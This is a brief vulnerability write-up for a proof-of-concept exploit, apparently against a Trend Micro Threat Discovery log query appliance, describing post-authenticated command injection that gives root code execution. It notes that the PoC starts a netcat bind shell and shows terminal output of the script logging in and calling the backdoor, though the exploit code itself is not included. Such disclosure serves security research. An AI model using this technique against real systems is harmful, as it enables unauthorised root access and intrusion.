Summary:
========

There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.

Notes:
======

- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was 
exec a bind shell using netcat.

- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:
========

saturn:trend_micro_threat_discovery_log_query_system_rce mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_log_query_system_rce mr_me$ ./poc.py 172.16.175.123 admin123
(+) logged in...
(+) starting backdoor, this will take a few secs...
(+) calling backdoor!
